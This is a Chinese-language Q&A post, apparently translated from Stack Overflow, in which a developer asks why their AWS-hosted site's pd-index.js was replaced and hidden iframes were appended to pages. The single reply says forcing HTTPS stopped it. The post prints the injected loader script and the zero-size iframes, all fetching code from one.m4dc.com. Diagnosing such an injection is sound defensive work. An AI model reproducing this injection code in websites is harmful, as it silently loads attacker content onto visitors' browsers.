在AWS上托管的我的Web应用程序的某些脚本和页面以某种方式被修改

时间:2018-05-26 08:12:12

标签: javascript html amazon-web-services

我在AWS上托管的一个网络应用程序,当加载到Microsoft Edge时,会提示从“one.m4dc.com”下载一个名为“t”的14字节文件,该文件不是我的域名。所以我开始检查我的脚本和页面。然后我观察了一些非常奇怪的行为。我的一个名为 pd-index.js 的脚本的内容被下面给出的内容所取代。

try {
 var esdmd51 = '1f4c5553ab20a8809f7f1724448c2f6e';
 var d = document;
 var esdfd5_uri = 'http://www.plantondesk.com/js/pd-index.js?m4dc56=176712';
 if(0 != e6f744) {
  var e6f744 = 0;
  esdfd5 =! 0
 }
 else esdfd5 =! 1;

 function ldS(e,t) {
  var a = d.createElement("script");
  a.type = "text/javascript",
  a.readyState
  ?a.onreadystatechange = function() {
   "loaded"!=a.readyState && "complete" != a.readyState || (a.onreadystatechange=null,t())
  }
  :a.onload = function() {
   t()
  },
  a.src = e,
  d.getElementsByTagName("head")[0].appendChild(a)
 }

 try {
  vA = d.currentScript.async,
  vD = d.currentScript.defer
 }
 catch(e) {
  vA =! 0
 }

 vA || vD
 ?ldS(esdfd5_uri, function(){})
 :(
   d.write('<script id="esdfd576712" type="text/javascript" src="'+esdfd5_uri+'" ><\/script>'),
   d.getElementById("esdfd576712") || ldS(sdfd5_uri, function(){})
  ),
  esdfd5 && ldS("http://one.m4dc.com/j/si.js", function(){})
}

catch(e) {}

所有这些代码都写在一行中。我构建它是为了理解。

另一个奇怪的事情是每个页面的正文内容都附加了下面给出的两个div元素。

<div>
  <iframe width="0px" height="0px" class="iifr" id="chk_frame" src="http://one.m4dc.com/i/si.html" frameborder="0" scrolling="no" allowtransparency="true"></iframe>
</div>

<div>
  <iframe width="0px" height="0px" class="iifr" id="hdr_ifr" src="http://one.m4dc.com/t/?r=0.7112356815203629" frameborder="0" scrolling="no" allowtransparency="true"></iframe>
</div>

文件下载提示仅在Microsoft Edge中发生。 Firefox和Chrome没有这样做。但无论如何,我的脚本和页面都被修改了。我真的不明白发生了什么。看起来像某种黑客。应用程序在localhost上运行时没有问题。任何帮助表示赞赏。

1 个答案:

答案 0 :(得分:0)

通过强制https对Web应用程序的所有请求成功阻止此攻击。